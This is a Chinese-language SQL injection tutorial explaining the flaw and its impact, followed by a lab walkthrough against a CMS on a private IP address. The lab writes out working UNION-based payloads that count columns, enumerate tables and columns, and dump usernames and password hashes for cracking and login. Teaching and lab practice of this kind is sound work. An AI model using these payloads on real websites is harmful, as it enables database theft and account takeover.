SQL注入
SQL注入就是指Web应用程序对用户输入数据的合法性没有判断,前端传入后端的参数是攻击者可控的,并且参数带入数据库查询,攻击者可以通过构造不同的SQL 语句来实现对数据库的任意操作。
SQL注入的原理
SQL注入漏洞的产生需要满足以下两个条件。
- 参数用户可控∶前端传给后端的参数内容是用户可以控制的。
- 参数带入数据库查询∶传入的参数拼接到SQL语句,且带入数据库查询。
SQL注入的危害
- 攻击者可以利用SQL注入漏洞,可以获取数据库中的多种信息(例如管理员后台的账号密码),从而可以脱取数据库中的内容,俗称脱库。
- 在一些情况中还可以修改数据库中的内容、插入内容到数据库或者删除数据库中的内容。
- 如果数据库权限分配存在问题,或者数据库本身存在缺陷,攻击者可以利用SQL注入漏洞读写文件,读取敏感文件或上传恶意文件,从而Getshell。
- 利用数据库提权。
判断是否存在SQL注入漏洞
以下面代码举例:
SELECT*FROM users WHERE id=$ GET['id']
当传入的ID参数为1’时,数据库执行的代码如下所示:
select * from users where id=1'
这不符合数据库语法规范,所以会报错。当传入的ID参数为and1=1时,执行的SQL语句如下所示。
select* from users where id=1 and 1=1
因为1=1为真,且where语句中id=1也为真,所以页面会返回与id=1相同的结果。当传入的ID参数为and1=2时,由于1=2不成立,所以返回假,页面就会返回与id=1不同的结果,由此可以初步判断ID参数存在SQL注入漏洞。
SQL注入小实验
先判断是否存在SQL注入漏洞
先判断 and 1=1 时
http://192.168.42.146/cms/show.php?id=33 and 1=1
页面结果如下:
再判断 and 1=2 时
http://192.168.42.146/cms/show.php?id=33 and 1=2
页面显示结果如下:
从中可知页面存在SQL注入漏洞。
再判断列数:
http://192.168.42.146/cms/show.php?id=33 order by 15
再次试试 16。
http://192.168.42.146/cms/show.php?id=33 order by 16
所以判断列数为15列。
接下来就是判断注入点的位置在哪里:
http://192.168.42.146/cms/show.php?id=33 and 1=2 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15
页面显示结果如下:
根据页面显示结果我们可知注入点在第三列和第十一列,接下来就是查找了。
查找表名:
http://192.168.42.146/cms/show.php?id=33 and 1=2 union select 1,2,group_concat(UNHEX(HEX(table_name))),4,5,6,7,8,9,10,11,12,13,14,15 from information_schema.tables where table_schema=database()
页面显示结果:
然后再查看cms_users的字段名:
http://192.168.42.146/cms/show.php?id=33 and 1=2 union select 1,2,group_concat(UNHEX(HEX(column_name))),4,5,6,7,8,9,10,11,12,13,14,15 from information_schema.columns where table_name='cms_users' and table_schema=database()
页面显示结果如下:
查找字段内容:
http://192.168.42.146/cms/show.php?id=33 and 1=2 union select 1,2,group_concat(UNHEX(HEX(username))),4,5,6,7,8,9,10,group_concat(UNHEX(HEX(password))),12,13,14,15 from cms_users
页面结果如下:
这时候发现存在加密的密码,然后去MD5解一下码:
然后尝试登录: